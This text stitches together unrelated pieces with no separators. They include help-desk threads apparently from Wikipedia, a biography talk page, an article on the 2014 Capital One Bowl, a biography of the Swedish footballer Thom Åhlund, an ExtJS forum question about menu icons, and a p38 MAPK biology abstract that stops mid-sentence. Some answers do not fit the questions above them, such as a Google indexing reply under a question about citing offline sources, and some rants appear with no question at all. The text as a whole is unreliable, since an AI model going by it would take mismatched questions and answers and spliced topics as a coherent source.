To me, that reads very strangely--as though Cape Canaveral itself will shortly be orbiting the Earth! I'd like to edit it to read a bit more fluidly, something like "...regarding a space agency which will launch a mission shortly, or which has launched a mission very recently..." or something like that--but again, I don't know if that's an acceptable thing for me to do (putting WP:BOLD aside) as I don't know whether editing it would mess up anything else down the line. My knowledge of templates is....well, "nonexistent" is a good word. So: 1. Should I do it? 2. How would I go about it? 3. How do you all think it should read? Your input would be much appreciated. Gladys J Cortez 00:55, 4 February 2008 (UTC)
* I have worked with this template in the past, and I was bold in your place. I removed it from the NASA page. Besides from the obvious "strange" text which is caused by the fact that his template simply does TOO much, I see no point in plastering such things all around wikipedia. If people are looking for such current information, they should enter more accurate searchterms in google. This usage is approaching our guideline of "Wikipedia is not a TV guide". I have had doubts about this usage in the past, and I have only been strengthened in this doubt. I think that is reason enough for me to remove it. --TheDJ (talk • contribs) 01:20, 4 February 2008 (UTC)

Deleting talk pages of redirected pages?
There are 19 talk pages of articles of episodes that have been redirected to the main episode list. The other 108 episode articles didn't have talk pages attached, so they don't exist. The only thing that appears on these talk pages is WikiProject Degrassi, rather than any discussions. Can these talk pages be deleted, and where do I go to get talk pages deleted? -- Matthew | talk | Contribs 03:22, 4 February 2008 (UTC)
* Normally, such orphaned talk pages could just be archived under the new article/merge target. However, if there's nothing but the template, I'd simply put a speedy deletion template on them using category G8 ("Talk pages whose corresponding article does not exist"). -- Kesh (talk) 03:30, 4 February 2008 (UTC)
* I am told that, doesn't apply to talk pages of redirects. <IP_ADDRESS> (talk) 12:34, 4 February 2008 (UTC)
* Well, on qualifying my info, that <IP_ADDRESS> is referring to: we sometimes say that redirects aren't articles, but usually only apply that to talk pages where there is a corresponding redlink. The main idea is to keep any talk page which is useful to the project. So, if talk pages have indeed no content, they can be simply redirected to the talk page of the article. Others that have meaningful content, especially about the redirect itself, such as most some tagged by <IP_ADDRESS> should not become simple redirects to the current talk page of the target (in any case not to articles themselves) but either be kept where they are or archived under the target and redirected there for future reference. --Tikiwont (talk) 13:02, 4 February 2008 (UTC)
How do I get off-line sources on-line?
* NVM, I got help from a person named Mopper in Wiki's IRC instead
In reference to this page,
http://en.wikipedia.org/w/index.php?title=Laguna_College_of_Art_and_Design&oldid=188940353#Controversy
None of the facts in here have citation. I want to change that. The problem is that the facts and evidence for everything in this article does not exist on line. Much of the information that is being disputed is the sort of thing that is widely known at the school in question, LCAD, but does not have an on-line source that ca be referenced. For example,
"in 2005 the Administration held a lavish teacher and admin end of the semester party at the Irvine Spectrum. The individuals were brought to the event via stretch-limousine causing the final tab for the dinner to be in the thousands"
How do I cite something like this? Everyone at the school, including the entire administrative staff know all about this event. How can I prove on Wikipedia that it actually took place though?
Another example,
"...including former Chair of the Animation Department Aubrey Mintz..."
This is a widely known fact at the school. Where would I get citation for this though?
Is there anyway to document first hand reports from the administration on basic facts.
How about the school's tax records? Can I just scan those, paste them into a photo bucket account and cite them that way?
If I can get a local news paper to run an article on all this can I cite the news paper?

* The last time I checked, I found Google's indexing delay for Wikipedia material was about 5 days. The way to check is to look at an article's history, and run Google searches for new material that appeared on Wikipedia at a specific time in the past. Only Google employees can influence Google's indexing delay; the rest of us just have to wait for Google. Also be aware that Wikipedia deletes lots of new articles by new users, because we have many complex policies and guidelines that new users can easily and unknowingly violate. So check that whatever you added to Wikipedia is still on Wikipedia. --Teratornis (talk) 08:59, 4 February 2008 (UTC)

User page
Nobody viewed my user page nor talk page. How can I make more people go to those pages —Preceding unsigned comment added by Ftbhrygvn (talk • contribs) 12:30, 4 February 2008 (UTC)
* Hi! Well, you can't "make" anyone go to those pages, but there may be ways of encouraging people to. How do you know people didn't look at your pages? I just looked at your userpage now. For a minute I thought you meant you had created the article Derivative.
* When you participate in Wikipedia, editing articles and so on, your signature appears in edit histories and on your talk page comments, and people might follow the links there to your page. When you write messages on talk pages, such as this one, sign your name using four tildes ~ like this, and it will put your username and the date, with links to your user page and talk page. The talk page for each article can be found by clicking "discussion" at the top of the page when viewing an article. The more you participate in editing and discussions, the more people might put messages on your talk page. You can also try to find other users who have done some good work and put congratulatory messages on their talk page -- or give people constructive criticism. If you haven't received any complaints on your talk page, you must be doing well! --Coppertwig (talk) 13:32, 4 February 2008 (UTC)

search
What is the difference between GO and SEARCH? —Preceding unsigned comment added by <IP_ADDRESS> (talk) 13:06, 4 February 2008 (UTC)
* "Go" will try to go to a page with that exact name. If the page exists, you will go directly to that page and see only that page. If the page does not exist, it will have the same functionality as "search", I believe. However, if you want to see a list of pages containing certain words, rather than just the one page, you can click "search" and it will give you the search list, even if the page with that exact title exists. --Coppertwig (talk) 13:24, 4 February 2008 (UTC)
Transcluding a subsection only
Hi. I want to transclude Norwich_City_F.C. to another page, so that only one article need be maintained. However, transcludes the whole of the page. Any ideas how I can achieve this? --Dweller (talk) 13:19, 4 February 2008 (UTC)
* Transcluding part of a page is impossible with the MediaWiki software. I'm not quite sure why you'd want that squad table on other pages - it takes up a lot of space, and Wikipedia tends to like to keep things in one place and just link back to it, for exactly the reason you stated (easier to maintain).
* I was going to suggest creating a Navbox template, which is the correct way to link to the rest of the current squad on articles about the players, but then I realised that Norwich City F.C. already has that. E.g., see the yellow box at the bottom of David Marshall (footballer). Does that do what you want, or am I misinterpreting? • Anakin (talk) 15:37, 4 February 2008 (UTC)

Steve Brown
Why are we not allowed to address controversial teachings of Steve Brown.
His teaching of "radical grace" is a great concern to many people, but every time I try to insert it, it is deleted with the claim that it's biased.
Is this a place for evenhanded and honest discussion of Steve Brown and his teachings, or is it a Steve Brown fan club and hero worship page? —Preceding unsigned comment added by Mikemck (talk • contribs) 15:44, 4 February 2008 (UTC)
* I can assure you that Wikipedia's articles are not fan clubs or hero worship pages, or they shouldn't be. We strive for neutral point of view. But with biographical articles it's especially important not to introduce anything that could be potentially construed as libel. See Biographies of living persons for the full guidelines. [ Your edit] to the article was potentially controversial in tone and unsourced, and for that reason I have removed it again per the guidelines. The entire article is also lacking sources and I have tagged it as such.
* But let me clarify: you can of course address "controversial teachings" of people, if, and only if you can cite to reliable sources which verify their information. Original research is generally not permitted, but this must be enforced particularly on biographical articles, to prevent personal attacks. Hope this helps clarify things. • Anakin (talk) 15:56, 4 February 2008 (UTC)

Got another weird infobox question...
I'm rapidly becoming the weird infobox lady, but such are the vagaries of fate. :) Anyhoo-- Bottom of Public Broadcasting Service, there's a "preceded by/succeeded by" box, which seems to be a strange concept to apply to a TV network anyway, but it becomes even stranger when one looks at "succeeded by"--the link is to "incumbent". In a HIGHLY-general frame of reference, I suppose I understand what they're trying to say--this is the current or "incumbent" incarnation of PBS--but man, what an awkward and weird way to phrase it! Is this a usage of "incumbent" peculiar to Wikipedia, or is this a case of "I am not sure that word means what you think it means"? And how do I edit those infoboxes, anyway? Thanks in advance....Gladys J Cortez 18:33, 4 February 2008 (UTC)
* Hi there. There are lots of those boxes around. Often they're used on politicians and stuff, to show who held the office previously and afterwards. If you want to edit them, just click the [edit] for the external links section. You'll see a template, followed by an template, with code for a succession box in the middle.

Did you miss the part about "simple"? I have read that page several times. It doesn't cover "a few paragraphs". Well, let's see, I did read that Wikipedia has never sued someone for misuse. I guess that means that I can just grab the text I want, do what I want, what I think is fair, and not worry too much about reprisals. It's too bad that the eggheads that wrote the damn page can't put things in plain English for those of use who don't possess an advanced degree in rhetoric.

No, it doesn't help. Instead of spending time trying to defend your cohort whose answer was less than useful, you could have tried to answer the question yourself. But you didn't. You simply wasted more time. Bravo. Do you see a place in that article that says "If you are going to use part of an article, here's what you need to do"? Do you see a frequently asked question section that covers this? No. I'm a 46 year old and I don't understand it. How are 12-18 year olds supposed to understand it. So don't act all high and superior. If you are going to give an answer, give a good answer.

Now THAT was an excellent answer! Thank you. It provided the information in a clear, concise manner. That answer should be highlighted and on the FAQ page so that visitors seeking this info can get it without having to dig that deep to do something simple (copy, link, attribute) but that probably gets done every day. Of course, the reference to your age and that you understood it is simple a foible of your youth. When you are my age, and society has collectively kicked your ass a few hundred times, you'll come to appreciate brevity on some tasks, and you'll realize that, at 18, you weren't quite as wise as you thought you were.

False information being presented
I made a correction the other day and the person who apparently had made the original, ( incorrect ), statements came right back and put the false information in again. I rewrote the paragraph and they came back with the false information once again. What happens in a situation like this. While I occasionally use Wikipedia as a resource this is the first time I saw something that I know to be untrue and made a change. Can you help me to understand what to do now. I don't have enough time to trade writings with this person. The page in question is the one on the Fillmore auditorium and who actually played there. Someone is repeatedly listing some bands as playing there who did not even exist while the ( original ) Fillmore was in operation. It's perhaps a small matter in the big picture but some of the info presented simply is false. Rocasan (talk) 22:39, 4 February 2008 (UTC)
* From Verifiability: "The threshold for inclusion in Wikipedia is verifiability, not truth. "Verifiable" in this context means that readers should be able to check that material added to Wikipedia has already been published by a reliable source. Editors should provide a reliable source for quotations and for any material that is challenged or is likely to be challenged, or it may be removed."
* Your comment about statements being correct or incorrect is almost irrelevant. What matters is whether the statements are referenced and verifiable through reliable sources. If you add correct statements without any reliable sources then your edits likely will be removed. If someone else adds statements that you know are incorrect, but are supported by references to reliable sources, then you cannot delete them. So go find reliable sources for all of your edits and add them as references. And if other editors add statements without supporting references, then mark them with a fact tag, then later remove the unsupported statements. Sbowers3 (talk) 22:46, 4 February 2008 (UTC)
* Click the "history" tab at The Fillmore to see explanations by the other editor in edit summaries. He has also posted at Talk:The Fillmore which is the talk page for the article. Note that the article is merely called "The Fillmore". There is no rule saying it can only describe what you call "the ( original ) Fillmore". It seems inappropriate to delete content without discussion just because it's not about the original Fillmore. PrimeHunter (talk) 23:14, 4 February 2008 (UTC)
<ref> tag error I can't figure out

* I've resolved the problem; there were one too many . In this case, the reason it couldn't find the named ref's text was because of an error in an unrelated ref that swallowed the text for that ref.

Paul Kidd article display problem.
I cannot seem to get all of this page to display, only the first two lines - the second paragraph does not appear. I thought it was a standard cache problem but both clearing and rebooting the machine seems to make no difference. Can someone check the article to confirm the issue is on my side. --Fredrick day (talk) 23:07, 4 February 2008 (UTC)
* The first two lines is actually all that exists of the article (you can see the evolution of the article under the history tab). Articles on wikipedia can be of all different sizes, this just happens to be a much shorter one. Hope this helps! -- omtay 38 23:11, 4 February 2008 (UTC)
* No it's not - click on edit and see what you see... --Fredrick day (talk) 23:12, 4 February 2008 (UTC)
* It was a references problem, they needed closing. See References for more information on how to use the ref tags. I have fixed it in this article. I have also edited it to add a category and to clean it up per the WP:MOS. I have also cut out much of the accusations due to WP:BLP concerns. They are still charges and have not been proven. Woody (talk) 23:29, 4 February 2008 (UTC)
I KNOW for a fact this is true!
About the recent tornado outbreak that hit the Ozarks a month ago, there's a piece of news that came out the other day about a guy who died just this past week from injuries suffered from one of the tornadoes, and now I'm getting a message saying please don't add anything controversial. Excuse me, but THIS IS NOT CONTROVERSIAL!!!! It is the TRUTH!!!!!!!!!! What is wrong with you people?!! —Preceding unsigned comment added by <IP_ADDRESS> (talk) 23:22, 4 February 2008 (UTC)
* Hi there! Wikipedia does not accept original research. Even if something has personally happened to you or you "know it's true" you must be able to cite a reliable source when adding controversial material. Otherwise, your edits can (and probably will) be reverted. Best regards! -- omtay 38 23:25, 4 February 2008 (UTC)
* From Verifiability: "The threshold for inclusion in Wikipedia is verifiability, not truth. "Verifiable" in this context means that readers should be able to check that material added to Wikipedia has already been published by a reliable source. Editors should provide a reliable source for quotations and for any material that is challenged or is likely to be challenged, or it may be removed."
* Your comment about facts being true or false is almost irrelevant. What matters is whether the facts are referenced and verifiable through reliable sources. If you add true facts without any reliable sources then your edits likely will be removed. If someone else adds facts that you know are false, but are supported by references to reliable sources, then you cannot delete them. So go find reliable sources for all of your edits and add them as references.
* OK, I've tried adding in a reference to the news story in question at the bottom of the section. Hopefully this'll satisfy whoever is getting his/her panties in a wad over this. Sheeesh!!! —Preceding unsigned comment added by Fredbird67 (talk • contribs) 23:56, 4 February 2008 (UTC)
* Hi there. I know it seems a bit quirky to newcomers, as if we don't trust you or we think you are a liar or something. But remember, we are the "encyclopedia anyone can edit," and we do not have a professional editorial board, nor do we have a research department of paid professionals to do fact-checking. And, we have no way to even verify who any particular editor (we call all contributors "editors") really is. Therefore, we must insist that facts be referenced to publications that do have paid editors with names and addresses and in which we have a reasonable presumption of veracity. -Arch dude (talk) 00:02, 5 February 2008 (UTC)
username verification expired
I want to use the name I registered, but the confirmation link expired, about 3 weeks ago. I can't re-register it since it is "in use". What are my options? —Preceding unsigned comment added by <IP_ADDRESS> (talk) 23:25, 4 February 2008 (UTC)
* You may want to take a look at Help:Logging in. My suggestion would be to attempt logging in with the user-name and password. Then you should receive a new verification e-mail (I could be wrong about this). If you have forgotten your password but have registered an e-mail address, you should be able to click the "e-mail password" button and a new password will be sent to you also. Hope this helps! -- omtay 38 23:28, 4 February 2008 (UTC)
Answering reference questions?
This may sound real stupid, but I saw something in the "reference desk" section I can answer, and I've been looking all over for where to reply to it. I even logged in, which I don't normally do, and I still can't find a place to answer this guy's question. I tried the "edit" link, but backed out without saving anything -- and there's no obvious link anywhere labeled "reply" or whatever. —Preceding unsigned comment added by Fredbird67 (talk • contribs) 23:51, 4 February 2008 (UTC)
* If you look above this thread, in its heading, to the right, you will see [edit] - this allows you to edit that section only. You then edit that section with a reply, with an indent (kind of how like I've done), then hit "Save page". It's not "Reply" because Wikipedia doesn't have a forum and in essence the Reference Desk is almost like a "special" kind of article you can edit as usual. x42bn6 Talk Mess 23:53, 4 February 2008 (UTC)
* Just click "edit" at the section and add your text (ending with a signature: ~ ) at the bottom without changing the existing text. See also Reference desk/guidelines. PrimeHunter (talk) 00:03, 5 February 2008 (UTC)

Talk:Eduardo Propper de Callejón
Synthesis
The Guardian article (source #3) explicitly states that Bonham Carter's Spanish and Czech ancestors were originally Jewish ("all" of her maternal ancestors). So I don't really think it is synthesis. Mad Jack 01:59, 3 August 2007 (UTC)
Eduardo Propper de Callejon is not a convert to Catholicism
Propper de Callejon was raised in the Catholic faith and his mother was a Spanish Catholic (in other words, he wasn't born a Jew, as his mother wasn't Jewish). Therefore, I'm removing the tag 'Converts to Catholicism'.--<IP_ADDRESS> (talk) 21:14, 31 December 2011 (UTC)

2014 Capital One Bowl
The 2014 Capital One Bowl is an American college football bowl game that was played on January 1, 2014, at the Florida Citrus Bowl in Orlando, Florida. The 68th edition of the Capital One Bowl (previously called the Florida Citrus Bowl) featured the South Carolina Gamecocks from the Southeastern Conference versus the Wisconsin Badgers from the Big Ten Conference. It was one of the 2013–14 bowl games that concluded the 2013 FBS football season. The game started at 1:00 p.m. EST and was telecast on ABC. It was sponsored by the Capital One financial services corporation.
The Gamecocks defeated the Badgers by a score of 34–24. South Carolina quarterback Connor Shaw helped score all five of his team's touchdowns, throwing for three, rushing for one, and receiving for one.
South Carolina had a regular season record of 10–2 (6–2 SEC). Ranked #9 in the BCS, they finished in second place in the Southeastern Conference Eastern Division. Wisconsin had a record of 9–3 (6–2 Big Ten). They were ranked #19 in the BCS and finished in second place in the Big Ten Leaders Division. This was the first-ever meeting between the two schools.
South Carolina
Ninth year head coach Steve Spurrier led the Gamecocks into the 2014 Capital One Bowl with a 10 win, 2 loss record. Snubbed from a BCS Bowl despite a higher ranking than teams who received bids, the Gamecocks finished the regular season ranked number nine in the country. South Carolina began their season by winning against North Carolina, but losing to Georgia. From there, they won four consecutive games, including a win against Central Florida, the Knights' only loss of the regular season. After a narrow loss to Tennessee, South Carolina closed their season winning five consecutive games before entering the bowl.
Wisconsin
Led by first-year head coach Gary Andersen, the Badgers entered the bowl with a nine win, three loss record. Headed into their final game, Wisconsin appeared on track to appear in a BCS Bowl, perhaps even the Rose Bowl, but after giving up numerous big plays, they were upset by the Penn State Nittany Lions. This ended their hopes of a BCS berth, though it turned out to be moot as Michigan State beat Ohio State in the Big Ten championship game, assuring Michigan State a trip to the Rose Bowl and virtually ensuring that the Big Ten's other potential BCS berth would go to the previously ranked #2 Ohio State. Prior to their loss to Penn State, the Badgers had won six consecutive games after starting the season 3–2 with losses to Arizona State and Ohio State. The 2014 edition of the Capital One bowl marked the fourth time in the previous ten seasons that Wisconsin would play in Florida Citrus Bowl Stadium (the game had various names during the span).
Pregame buildup
Dubbed one of the top non-BCS bowls to watch, the Capital One featured two top teams who narrowly missed the BCS. College football prognosticators and analysts were divided in forecasting the game, relatively evenly split between picking South Carolina and Wisconsin.
Wisconsin offense vs. South Carolina defense
Establishing the line of scrimmage would be pivotal for both lines, as South Carolina ranked second in the SEC stopping the run, whereas Wisconsin was the number eight run offense in the FBS. Similarly, Wisconsin needed to prevent the game from resting "on Stave's shoulders":"'Stave's numbers aren't terrible, but when Wisconsin fails to run the football 40 times in a game, it is 0–3 this season. The Gamecocks only give up just over 200 passing yards per game, so should push come to shove, the Badgers may be out of luck trusting their fate to Stave.' – Bleacher Report game preview column written by featured columnist Dave Radcliffe"
Wisconsin offense
Coordinated by Andy Ludwig, Wisconsin was a rushing-focused offense that ranked eighth in the country in rushing yards per game (averaging 283), but were 88th with 203.8; they averaged 35.8 points per game, which was 26th overall. However, to be successful in a "dogfight" against South Carolina, they would need to establish the play action pass. 6 ft sophomore Joel Stave played quarterback, and completed 199 of his 323 passes (62%) for 2414 yards, 20 touchdowns, and 12 interceptions. At running back, the Badgers featured a "dynamic running back duo" comprising Melvin Gordon and James White, each of whom earned second team all-conference recognition. Gordon, a sophomore, was the speedster of the pair, rushed for 1466 total yards, averaging 8.1 yards per carry, which ranked fourth in the country, and totaled 12 touchdowns. White, a senior whom ESPN ranked as its 12th best running back draft prospect, totaled 1337 rushing yards on 209 carries for a total of 13 touchdowns. Freshman Corey Clement supplemented the tandem by adding 515 rushing yards and 7 touchdowns on 66 carries.
In the receiving game, the ultra-competitive Jared Abbrederis, a senior draft prospect, had more than twice as many receptions as the second-leading receiver on the team; Abbrederis earned first team all-conference accolades, and totaled 73 receptions for 1051 yards and 7 touchdowns. Senior tight end Jacob Pedersen was the team's second-leading receiver with 36 receptions, 501 yards, and 3 touchdowns. White caught 37 passes for 292 yards. A trio of other wide receivers – senior Jeff Duckworth, sophomore Jordan Frederick, and freshman Alex Erickson – also contributed, with each catching between 8 and 10 passes and between 100 and 200 yards. Wisconsin's offensive line was plagued by injuries all season long. Entering the bowl game, center Dallas Lewallen engaged in limited practice participation, and his status was "a major question mark"; if he could not play, Dan Voltz would start at center. Starting guard Kyle Costigan was also banged up entering the game. Other starters on the offensive line included sophomore Tyler Marz, who achieved honorable mention all-conference honors, 6 ft 327 lb junior right tackle Rob Havenstein, who achieved second team all-conference honors, and first-team all-conference left guard Ryan Groy, a senior. Two kickers contributed during the season – sophomore Jack Russell, who made 8 of 11 field goal attempts with a long of 48 yards, and junior Kyle French, who made 5 of his 8 field goal attempts with a long of 42 yards ... French kicked at the beginning of the season, but midway through, Russell replaced him.
South Carolina defense
Coordinated by Lorenzo Ward, the Gamecocks' defense featured four defensive linemen, three linebackers, and four defensive backs. The Gamecocks' defensive line was a strong unit, placing two members on the first team all-conference team, Jadeveon Clowney and Kelcy Quarles. At defensive end, Clowney, a junior, did not live up to preseason expectations, recording only 35 tackles, although he did post 10.5 tackles for loss (TFL) and 3 sacks. At tackle, Quarles, a junior, recorded 36 tackles and a team-leading 13.5 TFL and 9.5 sacks. Also starting on the defensive line were fifth-year senior Chaz Sutton at end, and junior J.T. Surratt at tackle. At linebacker, undersized (6 ft 205 lb) freshman Skai Moore started on the weak side, leading the defense with 51 total tackles. In the middle, sophomore Kaiwan Lewis started, and totaled 45 tackles and 4 TFL. On the strong side, also known as the "spur" position, as it is a hybrid between a safety and a linebacker, junior Sharrod Golightly started and recorded 44 tackles and 6 TFL, as well as 1.5 sacks. Sophomore Marquis Roberts was also a key contributor, playing in all games, and finishing third on the defense with 46 tackles, as was freshman T. J. Holloman, who recorded three interceptions, tied for the team lead. Though secondary did not place any members on the all-conference team, they limited opponents to just 202.8 passing yards per game, which was 19th in the country. Anchoring the secondary was fifth-year senior cornerback Jimmy Legree, who finished second on the defense with 47 tackles, including 5.5 TFL, as well as 3 interceptions, which was tied for the team lead. Junior Victor Hampton started opposite Legree at the other corner, and recorded 45 tackles, and also had 3 interceptions. At safety, junior Brison Williams and freshman Chaz Elder started, and recorded 43 and 27 tackles respectively.
South Carolina offense vs. Wisconsin defense
For South Carolina to succeed offensively, they needed to establish a dual-threat attack with Connor Shaw, needing him to rush in addition to pass, coupling his rushing ability with Mike Davis; it would be difficult, however, for them to do so, as Wisconsin featured a veteran front seven on defense: "Badgers have gone up against several dual-threat quarterbacks this season and had success, for the most part, at limiting their running ability. Shaw can do it all for South Carolina, so the Badgers have to respect his arm while also accounting for his rushing. – Bleacher Report game preview column written by featured columnist Dave Radcliffe"
South Carolina offense
Co-coordinated by Steve Spurrier Jr. and Shawn Elliott, both of whom were in their second year in the position, South Carolina's offense finished 49th nationally in passing yards per game (248.3), 30th nationally in rushing yards per game (205.3), 33rd nationally in total yards per game (453.5), and 34th nationally in points per game (34.1). The predominant quarterback for the Gamecocks was Connor Shaw, who completed 61-percent of his passes for 2135 yards and 21 touchdowns with only 1 interception, however junior Dylan Thompson also saw playing time and completed 52 of 89 passes for 783 yards, 4 touchdowns, and 3 interceptions. The Gamecocks' rushing attack centered around "shifty but stocky" (5 ft 215 lb) Mike Davis, a sophomore second team all-conference performer, who recorded 1134 rushing yards and 11 touchdowns on 194 carries. The secondary contributor was Shaw, who rushed for 511 yards and 5 touchdowns. Other contributors included sophomore running backs Shon Carson and Brandon Wilds, as well as sophomore wide receiver Pharoh Cooper.
South Carolina featured a plethora of contributors in the receiving game, with seven making more than 10 catches. Juniors Bruce Ellington and Damiere Byrd, both of whom were 5 ft tall, anchored the group, totaling 43 receptions, 635 yards, and 6 touchdowns, and 33 receptions, 575 yards, and 4 touchdowns respectively. Third and fourth respectively in receiving yards were Davis, who posted 343 yards, and sophomore Shaq Roland, who posted 342. Other contributors included junior Nick Jones, and two tight ends – junior Rory Anderson and sophomore Jerell Adams, the latter duo of whom combined for 27 passes for 405 yards and 1 total touchdown. The Gamecocks' offensive line did not place any members on the all-conference team. Though did "control the line of scrimmage" in the rushing attack, it struggled in pass protection. Characterized by ESPN as "huge", he left side of the line featured 341 lb junior tackle Corey Robinson and 314 lb junior guard A. J. Cann, while the right side featured 323 lb sophomore tackle Brandon Shell and 315 lb senior guard Ronald Patrick. At center, both 319 lb Cody Waldrop and 281 lb Clayton Stadnik both redshirt freshmen. Freshman Elliott Fry handled the kicking duties, making 15 of 18 field goal attempts with a long of 45 yards, and made 50 of 51 extra point attempts.
Wisconsin defense
Led by first-year defensive coordinator Dave Aranda, Wisconsin entered the bowl coming off a performance against Penn State that, according to Aranda, lacked "intensity and focus", leading to confusion, particularly when making substitutions, against Penn State. One article opined, "The previous game could not have been more out of character for the nation's No. 6 defense, which is allowing 294 yards per game and was so reliable for most of the season. And it's a loss that will stick with Aranda for a long time. – Wisconsin State Journal writer Tom Mulhern" The defense was the nation's fifth-best scoring defense, holding opponents to 14.8 points per game, and sixth-best defense in terms of yards per game, averaging 294 yards per game.
A 3-4 defense, Wisconsin's defensive line consisted solely of seniors – defensive end Pat Muldoon, who totaled 28 tackles, 4.5 TFL, and 2 sacks, nose tackle Beau Allen, an honorable mention all-conference performer who totaled 19 tackles, 2 TFL, and 1.5 sacks, and defensive end Ethan Hemer, who totaled 11 tackles. All-American Chris Borland anchored the Badgers' linebackers, totaling 102 tackles, including 8.5 for a loss and 4 sacks. Fellow senior Conor O'Neill also started on the inside, and recorded 39 tackles, including 4.5 TFL and 2 sacks. The outside linebackers were seniors Ethan Armstrong, who was third on the team with 48 tackles, 5 TFL, and 2 sacks, and Brendan Kelly, who recorded 32 tackles, 7 TFL, and 4.5 sacks. The secondary included a variety of contributors. At safety, sophomore Michael Caputo was second on the defense with 62 tackles, fifth-year senior Dezmen Southward, an honorable mention all-conference performer, totaled 37 tackles and 1 interception, and redshirt freshman Nate Hammon, who recorded 24 tackles. At cornerback, freshman Sojourn Shelton led the defense with 4 interceptions, and sophomore Darius Hillary recorded 1 interception and 28 tackles.

Thom Åhlund
Thom Alvar Ålund (born 17 February 1953) is a Swedish former football player and manager, best known for representing Hammarby IF. In 1979, he won four caps for the Sweden national football team.
Early career
Born in Stockholm, Åhlund started his career with Djurgårdens IF as a youngster. He soon moved to IF Brommapojkarna, in the Swedish lower divisions, where he made his senior debut in 1971.
Hammarby IF
In 1973, at age 19, Åhlund joined Hammarby IF in Allsvenskan, Sweden's first tier. He immediately broke into the squad and played 25 league games in his debut season, as Hammarby finished 8th in the table, scoring his first goal for the club in a 1–0 home win against IF Saab on 26 August.
Manager Olle Nyström re-positioned Åhlund from a central midfielder to a libero in 1974. Known as an elegant player, he was soon compared with Franz Beckenbauer by supporters of the club.
In 1977, Hammarby reached the final of Svenska Cupen, the main domestic cup, but lost 0–1 to Östers IF.
Åhlund was on the verge of becoming a professional abroad, attracting interest from clubs in both Belgium and Germany throughout his career. In 1980, he almost transferred to the competing Swedish club Mjällby AIF together with Sten-Ove Ramberg, a fellow teammate at Hammarby. Both players eventually decided to turn down the offer following outrage from the club's supporters.
The highlight of Åhlund's career came in 1982 when Hammarby finished second in the table, going unbeaten the whole season. In the following playoff to decide the Swedish champion, the club went on to beat Örgryte in the quarter-finals and Elfsborg in the semi-finals. In the finals against IFK Göteborg, Hammarby won 2–1 in the first leg away, but lost 1–3 in the home game at Söderstadion to a record crowd, missing out on the gold medal. Åhlund was sidelined due to a groin injury throughout most of the season, but took part in the finals.
After the domestic success, Hammarby competed in the European Cup Winners' Cup the following year, ultimately getting knocked out by FC Haka in the second round (2–3 on aggregate). Åhlund decided to leave Hammarby after the loss on 2 November 1983, which coincidentally also was Kenneth Ohlsson's last game for the club. In total, Åhlund made 228 league appearances for Hammarby and scored 9 goals.
Skövde AIK and retirement
In 1984, Åhlund joined Skövde AIK as a player-coach. He stayed with the club for three seasons, competing in Division 3, before definitely retiring from playing.
International career
After competing with the Swedish U19's and U21's, Åhlund debuted for the Swedish senior national team in 1979 in a friendly 0–2 loss to Norway. In total, he won four caps the same year, competing in one competitive fixture (a 1–1 away draw against Luxembourg on 23 October 1979 in the UEFA Euro 1980 qualifying campaign).
Managerial career
After his player-coach stint at Skövde AIK, Åhlund spent the later stages of the 1980s and the 1990s coaching Friska Viljor, Umeå FC, Syrianska FC and FOC Farsta in the domestic lower divisions.
In 2002, Åhlund returned to Hammarby IF to work as the assistant coach of Anders Linderoth. The club went on to have several fruitful years in the Allsvenskan, being a consistent challenger for the Swedish league title. The duo left the club at the end of 2006.
On 31 August 2009, midway through the Allsvenskan season, he was appointed as the interim manager of Hammarby IF after the sacking of Tony Gustavsson. Åhlund was unable to save the club from a relegation to Superettan, the second tier, and left the position at the end of the year.

Default how do I get a menu list with no icons
I realize there is a thread where this item is discussed (http://extjs.com/forum/showthread.php?t=3393) but it is over 2 years old. It contains an entry from a year ago with no response and I am basically having the same problem as that last post. So, instead of just adding another post to that existing thread (which probably no one will notice, like the last one), I'm adding a new thread in the hopes I'll have better luck.
I've tried what I understand the existing thread is suggesting:
1. I have added ".no-icon-menu .x-menu-item-icon { display: none; }" to one of my css files; and,
2. I have added a cls definition to my menu definition, as follows:
Code:
var menu = new Ext.menu.Menu({
items:[
{
text: "My Menu Item"
}
]
,cls: "no-icon-menu"
});
To no effect. Space for an the icon remains associated with each item within the menu.
If there is anyone out there who has been able to display a menu without icons (including without the space set aside for them)? The menu sample seems to suggest this is possible because there are two different places where the color picker is accessible and, in one (under Split Button/Pick a Color), there is space for an icon and in the other (under Button wMenu/Choose a Color), there is not. However, in looking at the sample, I can't discern how the lack of room for an icon is being implemented.
Can anyone point me in a better direction than I've been able to find thus far?
Cheers,

The multistep propagation of discrete intracellular signals allows cells to respond to cues from the extracellular environment. Among the most ubiquitous and well-studied of these are the phosphorylation cascades that culminate in the activation of mitogen-activated protein kinases (MAPKs). The enzymatic activity of MAPKs is markedly influenced by extracellular events. As a rule, p38 MAPK activity is induced by environmental stress (e.g. osmotic shock, hypoxia, heat shock, ultraviolet radiation) and pro-inflammatory stimuli and cytokines such as LPS, IL-1, TGF-beta, and TNF-alpha. The most membrane-proximal enzyme activated in the classic MAPK cascade is a serine/threonine kinase known as a MAPK kinase kinase, or MAPKKK, and the MAPKKKs that lead p38 activation include TAK1, ASK1, and MTK1 (human)/MEKK4 (mouse).Growth Arrest and DNA Damage inducible 45 (Gadd45a) was initially identified as a stress-responsive gene. Our studies of Gadd45a-deficient mice found that they died at an early age of a lupus-like autoimmune disease. Because of the known ability of Gadd45-family proteins to bind and activate MTK1/MEKK4, we asked how the absence of Gadd45a might affect p38 activation. We found that, rather than being hypoactive, p38 was spontaneously active in T-lineage cells. An in-depth analysis of this initial observation led to the following findings by our laboratory:-p38 from antigen receptor-stimulated normal T cells but not B cells robustly autophosphorylates. The autophosphorylation appeared to be on the two canonical activating residues, Thr-180 and Tyr-182.-T cell p38 activation requires Lck and Zap70 but is LAT-independent.-The TCR proximal kinases Lck, Fyn, and Zap70 phosphorylate p38 on Tyr-323, which induces autophosphorylation and enhanced activity toward other substrates. Notably, even p38 lacking Tyr-182 is activated by Tyr-323 phosphorylation.-A Tyr-323 phospho-specific antiserum detects Tyr-323-phosphorylated p38 (p-Tyr-323 p38) in T but not B cells activated via the antigen receptor.-p-Tyr-323 p38 is not detected in Lck+ Zap70- Jurkat T cells, implicating Zap70 as the effector kinase in vivo.-The alternative pathway appeared to be a major mechanism of p38 activation in T cells, because (1) in Jurkat T cells, p38 containing a Y323F substitution was poorly activated in response to anti-TCR compared to wild type (WT), and (2) dual (Thr-180/Tyr-182) phosphorylation of p38 in TCR-stimulated normal resting T cells was almost completely prevented by the p38 inhibitor SB203580, indicating that it is a consequence of autophosphorylation.-p38 from Gadd45a-deficient T cells is spontaneously phosphorylated on 